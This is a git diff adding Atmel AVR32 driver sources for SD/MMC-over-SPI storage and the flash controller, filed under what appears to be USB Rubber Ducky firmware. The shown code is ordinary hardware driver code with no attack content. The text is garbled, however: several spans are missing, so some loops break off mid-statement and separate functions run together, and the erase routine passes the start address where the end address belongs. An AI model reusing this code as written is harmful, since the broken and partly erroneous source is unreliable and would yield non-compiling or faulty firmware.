only groups of sectors and not one sector only +//! The global variable "erase_group_size" (extracted from CSD) contains the sector group size boundary +//! User specifies the addresses of the first group and the last group to erase (several contiguous groups can be selected for erase) +//! An misaligned address will not generate an error since the memory card ignore the LSbs of the address +//! Some examples (with "erase_group_size" = 0x20 = group boundary) : +//! - adr_start=0x100 and adr_end=0x100, all the sectors from 0x100 up to 0x11F will be erased +//! - adr_start=0x90 and adr_end=0x100, all the sectors from 0x80 up to 0x11F will be erased (0x90 interpreted as 0x80) +//! - adr_start=0x80 and adr_end=0x146, all the sectors from 0x80 up to 0x15F will be erased +//! This function just initiates a transmission, user may get status register to check that operation has succeeded +//! After an erase, a MMC card contains bits at 0, and SD can contains bits 0 or 1 (according to field DATA_STAT_AFTER_ERASE in the CSD) +//! +//! @param adr_start address of 1st group (sector address, not byte address) +//! @param adr_end address of last group (sector address, not byte address) +//! +//! @return bit +//! The erase operation succeeded (has been started) -> OK +//! The erase operation failed (not started) -> KO +Bool sd_mmc_spi_erase_sector_group(uint32_t adr_start, uint32_t adr_end) +{ + uint8_t cmd; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send address of 1st group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_START; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_START; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + // send address of last group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_END; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_END; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + // send erase command + if ((r1 = sd_mmc_spi_command(MMC_ERASE,0)) != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + + return OK; +} + + +//! Stop PDCA transfer +//! @brief This function closes a PDCA read transfer +//! page programming. +//! +void sd_mmc_spi_read_close_PDCA (void) +{ + + // load 16-bit CRC (ignored) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + // continue delivering some clock cycles + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + +} + + + +//! Reading using PDCA +//! @brief This function opens a SD_MMC memory in read mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +//!/ +Bool sd_mmc_spi_read_open_PDCA (uint32_t pos) +{ + uint16_t read_time_out; + + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + return OK; // Read done. +} + + +//! @brief This function read one MMC sector and load it into a ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! +//! NOTE: +//! - First call (if sequential read) must be preceded by a call to the sd_mmc_spi_read_open() function +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The read succeeded -> OK +//! The read failed (bad address, etc.) -> KO +//!/ +Bool sd_mmc_spi_read_sector_to_ram(void *ram) +{ + uint8_t *_ram = ram; + uint16_t i; + uint16_t read_time_out; + unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // store datablock + for(i=0;i SD/MMC +//! +//! +//! NOTE (please read) : +//! - First call (if sequential write) must be preceded by a call to the sd_mmc_spi_write_open() function +//! - An address error will not detected here, but with the call of sd_mmc_spi_get_status() function +//! - The program exits the functions with the memory card busy ! +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The write succeeded -> OK +//! The write failed -> KO +//! +Bool sd_mmc_spi_write_sector_from_ram(const void *ram) +{ + const uint8_t *_ram = ram; + uint16_t i; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i the memory is not write-protected (always) +//!/ +Bool sd_mmc_spi_wr_protect(void) +{ + return false; +} + + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//!/ +Bool sd_mmc_spi_removal(void) +{ + return false; +// return ((OK == sd_mmc_spi_check_presence()) ? false : true); +} + + + +//------------ STANDARD FUNCTIONS to read/write the memory -------------------- + +#if ACCESS_USB == ENABLED + +#include "usb_drv.h" +#include "scsi_decoder.h" + + + +Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector) +{ +Bool status; + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done != true) + return CTRL_NO_PRESENT; + + Sd_mmc_spi_access_signal_on(); + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_multiple_sector(nb_sector) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_usb_read_10_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_usb_read_10_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +void sd_mmc_spi_read_multiple_sector_callback(const void *psector) +{ + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_in_ready(g_scsi_ep_ms_in)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_in); + data_to_transfer = usb_write_ep_txpacket(g_scsi_ep_ms_in, psector, + data_to_transfer, &psector); + Usb_ack_in_ready_send(g_scsi_ep_ms_in); + } +} + + + +Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector) +{ + Bool status; + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done == true) + { + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_write_open(addr); + status = sd_mmc_spi_write_multiple_sector(nb_sector); + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + if (status == OK) + return CTRL_GOOD; + else + return CTRL_NO_PRESENT; + } + else + return CTRL_NO_PRESENT; +} + + +void sd_mmc_spi_write_multiple_sector_callback(void *psector) +{ + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_out_received(g_scsi_ep_ms_out)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_out); + data_to_transfer = usb_read_ep_rxpacket(g_scsi_ep_ms_out, psector, + data_to_transfer, &psector); + Usb_ack_out_received_free(g_scsi_ep_ms_out); + } +} + +#endif // ACCESS_USB == ENABLED + + +//------------ Standard functions for read/write 1 sector to 1 sector ram buffer ----------------- + +#if ACCESS_MEM_TO_RAM == ENABLED + +Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done != true) + return CTRL_NO_PRESENT; + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_sector_to_ram(ram)) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_mem_2_ram_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_mem_2_ram_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done == true) + { + sd_mmc_spi_write_open(addr); + if (KO == sd_mmc_spi_write_sector_from_ram(ram)) + { + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_NO_PRESENT; + } + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + } + Sd_mmc_spi_access_signal_off(); + + return CTRL_NO_PRESENT; +} + + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#endif // SD_MMC_SPI_MEM == ENABLE diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h new file mode 100755 index 0000000..a052654 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h @@ -0,0 +1,188 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief CTRL_ACCESS interface for SD/MMC card. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _SD_MMC_SPI_MEM_H_ +#define _SD_MMC_SPI_MEM_H_ + + +#include "conf_access.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error sd_mmc_spi_mem.h is #included although SD_MMC_SPI_MEM is disabled +#endif + + +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#define SD_MMC_REMOVED 0 +#define SD_MMC_INSERTED 1 +#define SD_MMC_REMOVING 2 + + +//---- CONTROL FONCTIONS ---- +//! +//! @brief This function initializes the hw/sw resources required to drive the SD_MMC_SPI. +//!/ +extern void sd_mmc_spi_mem_init(void); + +//! +//! @brief This function tests the state of the SD_MMC memory and sends it to the Host. +//! For a PC, this device is seen as a removable media +//! Before indicating any modification of the status of the media (GOOD->NO_PRESENT or vice-versa), +//! the function must return the BUSY data to make the PC accepting the change +//! +//! @return Ctrl_status +//! Media is ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//! Media has changed -> CTRL_BUSY +//!/ +extern Ctrl_status sd_mmc_spi_test_unit_ready(void); + +//! +//! @brief This function gives the address of the last valid sector. +//! +//! @param *nb_sector number of sector (sector = 512B). OUT +//! +//! @return Ctrl_status +//! Media ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//!/ +extern Ctrl_status sd_mmc_spi_read_capacity(uint32_t *nb_sector); + +//! +//! @brief This function returns the write protected status of the memory. +//! +//! Only used by memory removal with a HARDWARE SPECIFIC write protected detection +//! ! The user must unplug the memory to change this write protected status, +//! which cannot be for a SD_MMC. +//! +//! @return false -> the memory is not write-protected (always) +//!/ +extern Bool sd_mmc_spi_wr_protect(void); + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//! +extern Bool sd_mmc_spi_removal(void); + + +//---- ACCESS DATA FONCTIONS ---- + +#if ACCESS_USB == ENABLED +// Standard functions for open in read/write mode the device + +//! +//! @brief This function performs a read operation of n sectors from a given address on. +//! (sector = 512B) +//! +//! DATA FLOW is: SD_MMC => USB +//! +//! @param addr Sector address to start the read from +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! A error occur -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector); + +//! This fonction initialises the SD/MMC memory for a write operation +//! +//! DATA FLOW is: USB => SD_MMC +//! +//! (sector = 512B) +//! @param addr Sector address to start write +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector); + +#endif // #if ACCESS_USB == ENABLED + +#if ACCESS_MEM_TO_RAM == ENABLED +// Standard functions for read/write 1 sector to 1 sector ram buffer + + +//! This fonction reads 1 sector from SD/MMC to internal ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! (sector = 512B) +//! @param addr Sector address to read +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram); + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram); + +#endif // end #if ACCESS_MEM_TO_RAM == ENABLED + + +#endif // _SD_MMC_SPI_MEM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c new file mode 100755 index 0000000..13d48cc --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c @@ -0,0 +1,1136 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FLASHC driver for AVR32 UC3. + * + * AVR32 Flash Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with a FLASHC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include +#include "compiler.h" +#include "flashc.h" + + +/*! \name FLASHC Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long fcr; + avr32_flashc_fcr_t FCR; +} u_avr32_flashc_fcr_t; + +typedef union +{ + unsigned long fcmd; + avr32_flashc_fcmd_t FCMD; +} u_avr32_flashc_fcmd_t; + +//! @} + + +/*! \name Flash Properties + */ +//! @{ + + +unsigned int flashc_get_flash_size(void) +{ +#if (AVR32_FLASHC_H_VERSION >= 300) + static const unsigned int FLASH_SIZE[1 << AVR32_FLASHC_PR_FSZ_SIZE] = + { + 4 << 10, + 8 << 10, + 16 << 10, + 32 << 10, + 48 << 10, + 64 << 10, + 96 << 10, + 128 << 10, + 192 << 10, + 256 << 10, + 384 << 10, + 512 << 10, + 768 << 10, + 1024 << 10, + 2048 << 10 + }; + return FLASH_SIZE[(AVR32_FLASHC.pr & AVR32_FLASHC_PR_FSZ_MASK) >> AVR32_FLASHC_PR_FSZ_OFFSET]; +#else // in older flashc version, FSZ is located in FSR register + static const unsigned int FLASH_SIZE[1 << AVR32_FLASHC_FSR_FSZ_SIZE] = + { + 32 << 10, + 64 << 10, + 128 << 10, + 256 << 10, + 384 << 10, + 512 << 10, + 768 << 10, + 1024 << 10 + }; + return FLASH_SIZE[(AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FSZ_MASK) >> AVR32_FLASHC_FSR_FSZ_OFFSET]; +#endif +} + + +unsigned int flashc_get_page_count(void) +{ + return flashc_get_flash_size() / AVR32_FLASHC_PAGE_SIZE; +} + + +unsigned int flashc_get_page_count_per_region(void) +{ + return flashc_get_page_count() / AVR32_FLASHC_REGIONS; +} + + +unsigned int flashc_get_page_region(int page_number) +{ + return ((page_number >= 0) ? page_number : flashc_get_page_number()) / flashc_get_page_count_per_region(); +} + + +unsigned int flashc_get_region_first_page_number(unsigned int region) +{ + return region * flashc_get_page_count_per_region(); +} + + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + + +unsigned int flashc_get_wait_state(void) +{ + return (AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FWS_MASK) >> AVR32_FLASHC_FCR_FWS_OFFSET; +} + + +void flashc_set_wait_state(unsigned int wait_state) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.fws = wait_state; + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +void flashc_set_bus_freq(unsigned int cpu_f_hz) +{ + if(cpu_f_hz >= AVR32_FLASHC_FWS_0_MAX_FREQ) + { + // Set 1 WS. + flashc_set_wait_state(1); + } + else + { + // Set 0 WS. + flashc_set_wait_state(0); + } +} + +Bool flashc_is_ready_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FRDY_MASK) != 0); +} + + +void flashc_enable_ready_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.frdy = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +Bool flashc_is_lock_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_LOCKE_MASK) != 0); +} + + +void flashc_enable_lock_error_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.locke = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +Bool flashc_is_prog_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_PROGE_MASK) != 0); +} + + +void flashc_enable_prog_error_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.proge = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + + +Bool flashc_is_ready(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FRDY_MASK) != 0); +} + + +void flashc_default_wait_until_ready(void) +{ + while (!flashc_is_ready()); +} + + +void (*volatile flashc_wait_until_ready)(void) = flashc_default_wait_until_ready; + + +/*! \brief Gets the error status of the FLASHC. + * + * \return The error status of the FLASHC built up from + * \c AVR32_FLASHC_FSR_LOCKE_MASK and \c AVR32_FLASHC_FSR_PROGE_MASK. + * + * \warning This hardware error status is cleared by all functions reading the + * Flash Status Register (FSR). This function is therefore not part of + * the driver's API which instead presents \ref flashc_is_lock_error + * and \ref flashc_is_programming_error. + */ +static unsigned int flashc_get_error_status(void) +{ + return AVR32_FLASHC.fsr & (AVR32_FLASHC_FSR_LOCKE_MASK | + AVR32_FLASHC_FSR_PROGE_MASK); +} + + +//! Sticky error status of the FLASHC. +//! This variable is updated by functions that issue FLASHC commands. It +//! contains the cumulated FLASHC error status of all the FLASHC commands issued +//! by a function. +static unsigned int flashc_error_status = 0; + + +Bool flashc_is_lock_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_LOCKE_MASK) != 0); +} + + +Bool flashc_is_programming_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_PROGE_MASK) != 0); +} + + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + + +unsigned int flashc_get_command(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_CMD_MASK) >> AVR32_FLASHC_FCMD_CMD_OFFSET; +} + + +unsigned int flashc_get_page_number(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_PAGEN_MASK) >> AVR32_FLASHC_FCMD_PAGEN_OFFSET; +} + + +void flashc_issue_command(unsigned int command, int page_number) +{ + u_avr32_flashc_fcmd_t u_avr32_flashc_fcmd; + flashc_wait_until_ready(); + u_avr32_flashc_fcmd.fcmd = AVR32_FLASHC.fcmd; + u_avr32_flashc_fcmd.FCMD.cmd = command; + if (page_number >= 0) u_avr32_flashc_fcmd.FCMD.pagen = page_number; + u_avr32_flashc_fcmd.FCMD.key = AVR32_FLASHC_FCMD_KEY_KEY; + AVR32_FLASHC.fcmd = u_avr32_flashc_fcmd.fcmd; + flashc_error_status = flashc_get_error_status(); + flashc_wait_until_ready(); +} + + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + + +void flashc_no_operation(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_NOP, -1); +} + + +void flashc_erase_all(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EA, -1); +} + + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + + +Bool flashc_is_security_bit_active(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_SECURITY_MASK) != 0); +} + + +void flashc_activate_security_bit(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_SSB, -1); +} + + +unsigned int flashc_get_bootloader_protected_size(void) +{ + unsigned int bootprot = (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + flashc_read_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE); + return (bootprot) ? AVR32_FLASHC_PAGE_SIZE << bootprot : 0; +} + + +unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size) +{ + flashc_set_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE, + (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + ((bootprot_size) ? + 32 - clz((((min(max(bootprot_size, AVR32_FLASHC_PAGE_SIZE << 1), + AVR32_FLASHC_PAGE_SIZE << + ((1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1)) + + AVR32_FLASHC_PAGE_SIZE - 1) / + AVR32_FLASHC_PAGE_SIZE) << 1) - 1) - 1 : + 0)); + return flashc_get_bootloader_protected_size(); +} + + +Bool flashc_is_external_privileged_fetch_locked(void) +{ + return (!flashc_read_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET)); +} + + +void flashc_lock_external_privileged_fetch(Bool lock) +{ + flashc_set_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET, !lock); +} + + +Bool flashc_is_page_region_locked(int page_number) +{ + return flashc_is_region_locked(flashc_get_page_region(page_number)); +} + + +Bool flashc_is_region_locked(unsigned int region) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_LOCK0_MASK << (region & (AVR32_FLASHC_REGIONS - 1))) != 0); +} + + 